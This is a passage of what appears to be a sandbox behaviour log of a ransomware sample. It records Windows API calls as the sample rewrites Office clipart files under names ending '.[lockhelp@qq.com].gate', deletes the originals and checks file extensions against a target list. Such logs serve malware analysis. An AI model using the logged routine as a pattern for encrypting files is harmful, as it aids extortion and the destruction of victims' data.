dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0294.317] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.317] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0294.318] GetLastError () returned 0x0 [0294.318] ReadFile (in: hFile=0x538, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x2174, lpOverlapped=0x0) returned 1 [0294.480] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x2180, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x2180, lpOverlapped=0x0) returned 1 [0294.481] ReadFile (in: hFile=0x538, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.481] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.481] SetEndOfFile (hFile=0x4f8) returned 1 [0294.484] CloseHandle (hObject=0x4f8) returned 1 [0294.484] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.484] SetEndOfFile (hFile=0x538) returned 1 [0294.487] CloseHandle (hObject=0x538) returned 1 [0294.487] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.487] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01186_.wmf")) returned 1 [0294.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0294.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0294.488] lstrlenW (lpString=".doc") returned 4 [0294.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.488] lstrlenW (lpString=".docx") returned 5 [0294.488] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.488] lstrlenW (lpString=".pdf") returned 4 [0294.488] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.488] lstrlenW (lpString=".xls") returned 4 [0294.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.488] lstrlenW (lpString=".xlsx") returned 5 [0294.488] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.488] lstrlenW (lpString=".ppt") returned 4 [0294.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0294.488] lstrlenW (lpString=".zip") returned 4 [0294.488] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.488] lstrlenW (lpString=".rar") returned 4 [0294.488] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.488] lstrlenW (lpString=".bz2") returned 4 [0294.488] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.489] lstrlenW (lpString=".7z") returned 3 [0294.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0294.489] lstrlenW (lpString=".dbf") returned 4 [0294.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0294.489] lstrlenW (lpString=".1cd") returned 4 [0294.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01186_.WMF") returned 68 [0294.489] lstrlenW (lpString=".jpg") returned 4 [0294.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.490] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=19068) returned 1 [0294.491] CloseHandle (hObject=0x4b0) returned 1 [0294.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 0x220 [0294.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0294.491] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.491] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0294.492] GetLastError () returned 0x0 [0294.492] ReadFile (in: hFile=0x4b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x4a7c, lpOverlapped=0x0) returned 1 [0294.683] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x4a80, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x4a80, lpOverlapped=0x0) returned 1 [0294.684] ReadFile (in: hFile=0x4b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.684] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.684] SetEndOfFile (hFile=0x4f8) returned 1 [0294.684] CloseHandle (hObject=0x4f8) returned 1 [0294.684] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.684] SetEndOfFile (hFile=0x4b0) returned 1 [0294.687] CloseHandle (hObject=0x4b0) returned 1 [0294.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.688] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01628_.wmf")) returned 1 [0294.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0294.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0294.688] lstrlenW (lpString=".doc") returned 4 [0294.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.688] lstrlenW (lpString=".docx") returned 5 [0294.689] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.689] lstrlenW (lpString=".pdf") returned 4 [0294.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.689] lstrlenW (lpString=".xls") returned 4 [0294.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.689] lstrlenW (lpString=".xlsx") returned 5 [0294.689] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.689] lstrlenW (lpString=".ppt") returned 4 [0294.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0294.689] lstrlenW (lpString=".zip") returned 4 [0294.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.689] lstrlenW (lpString=".rar") returned 4 [0294.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.689] lstrlenW (lpString=".bz2") returned 4 [0294.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.689] lstrlenW (lpString=".7z") returned 3 [0294.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0294.689] lstrlenW (lpString=".dbf") returned 4 [0294.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0294.689] lstrlenW (lpString=".1cd") returned 4 [0294.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01628_.WMF") returned 68 [0294.689] lstrlenW (lpString=".jpg") returned 4 [0294.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.690] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=3252) returned 1 [0294.690] CloseHandle (hObject=0x4b0) returned 1 [0294.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 0x220 [0294.690] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0294.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0294.690] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.690] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.691] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f8 [0294.691] GetLastError () returned 0x0 [0294.691] ReadFile (in: hFile=0x4b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0xcb4, lpOverlapped=0x0) returned 1 [0294.803] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xcc0, lpOverlapped=0x0) returned 1 [0294.804] ReadFile (in: hFile=0x4b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.804] WriteFile (in: hFile=0x4f8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.804] SetEndOfFile (hFile=0x4f8) returned 1 [0294.804] CloseHandle (hObject=0x4f8) returned 1 [0294.804] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.804] SetEndOfFile (hFile=0x4b0) returned 1 [0294.833] CloseHandle (hObject=0x4b0) returned 1 [0294.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0294.833] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01793_.wmf")) returned 1 [0294.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0294.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0294.834] lstrlenW (lpString=".doc") returned 4 [0294.834] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0294.834] lstrlenW (lpString=".docx") returned 5 [0294.834] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0294.834] lstrlenW (lpString=".pdf") returned 4 [0294.834] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0294.834] lstrlenW (lpString=".xls") returned 4 [0294.834] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0294.834] lstrlenW (lpString=".xlsx") returned 5 [0294.834] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0294.834] lstrlenW (lpString=".ppt") returned 4 [0294.834] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0294.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0294.834] lstrlenW (lpString=".zip") returned 4 [0294.834] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0294.834] lstrlenW (lpString=".rar") returned 4 [0294.834] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0294.834] lstrlenW (lpString=".bz2") returned 4 [0294.834] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0294.834] lstrlenW (lpString=".7z") returned 3 [0294.834] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0294.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0294.834] lstrlenW (lpString=".dbf") returned 4 [0294.834] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0294.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0294.835] lstrlenW (lpString=".1cd") returned 4 [0294.835] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0294.835] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01793_.WMF") returned 68 [0294.835] lstrlenW (lpString=".jpg") returned 4 [0294.835] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0294.843] GetFileSizeEx (in: hFile=0x52c, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=13936) returned 1 [0294.844] CloseHandle (hObject=0x52c) returned 1 [0294.844] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 0x220 [0295.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0295.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0295.105] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.105] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0295.106] GetLastError () returned 0x0 [0295.106] ReadFile (in: hFile=0x4b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x3670, lpOverlapped=0x0) returned 1 [0295.187] WriteFile (in: hFile=0x4e8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x3680, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x3680, lpOverlapped=0x0) returned 1 [0295.188] ReadFile (in: hFile=0x4b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.188] WriteFile (in: hFile=0x4e8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.188] SetEndOfFile (hFile=0x4e8) returned 1 [0295.188] CloseHandle (hObject=0x4e8) returned 1 [0295.188] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.188] SetEndOfFile (hFile=0x4b0) returned 1 [0295.191] CloseHandle (hObject=0x4b0) returned 1 [0295.191] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0295.192] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00006_.wmf")) returned 1 [0295.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0295.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0295.192] lstrlenW (lpString=".doc") returned 4 [0295.192] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0295.193] lstrlenW (lpString=".docx") returned 5 [0295.193] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0295.193] lstrlenW (lpString=".pdf") returned 4 [0295.193] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0295.193] lstrlenW (lpString=".xls") returned 4 [0295.193] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0295.193] lstrlenW (lpString=".xlsx") returned 5 [0295.193] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0295.193] lstrlenW (lpString=".ppt") returned 4 [0295.193] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0295.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0295.193] lstrlenW (lpString=".zip") returned 4 [0295.193] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0295.193] lstrlenW (lpString=".rar") returned 4 [0295.193] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0295.193] lstrlenW (lpString=".bz2") returned 4 [0295.193] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0295.193] lstrlenW (lpString=".7z") returned 3 [0295.193] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0295.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0295.193] lstrlenW (lpString=".dbf") returned 4 [0295.193] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0295.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0295.193] lstrlenW (lpString=".1cd") returned 4 [0295.193] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0295.193] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00006_.WMF") returned 68 [0295.193] lstrlenW (lpString=".jpg") returned 4 [0295.193] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0295.194] GetFileSizeEx (in: hFile=0x4b0, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=17308) returned 1 [0295.194] CloseHandle (hObject=0x4b0) returned 1 [0295.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf")) returned 0x220 [0295.194] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0295.194] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4b0 [0295.194] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.195] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\en00397_.wmf.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4e8 [0295.195] GetLastError () returned 0x0 [0295.195] ReadFile (in: hFile=0x4b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x439c, lpOverlapped=0x0) returned 1 [0295.287] WriteFile (in: hFile=0x4e8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x43a0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x43a0, lpOverlapped=0x0) returned 1 [0295.288] ReadFile (in: hFile=0x4b0, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0295.289] WriteFile (in: hFile=0x4e8, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0xec, lpOverlapped=0x0) returned 1 [0295.289] SetEndOfFile (hFile=0x4e8) returned 1 [0295.484] CloseHandle (hObject=0x4e8) returned 1 [0295.484] SetFilePointerEx (in: hFile=0x4b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0295.484] SetEndOfFile (hFile=0x4b0) returned 1 [0295.827] CloseHandle (hObject=0x4b0) returned 1 [0295.828] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0295.828] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EN00397_.WMF" (normalized: 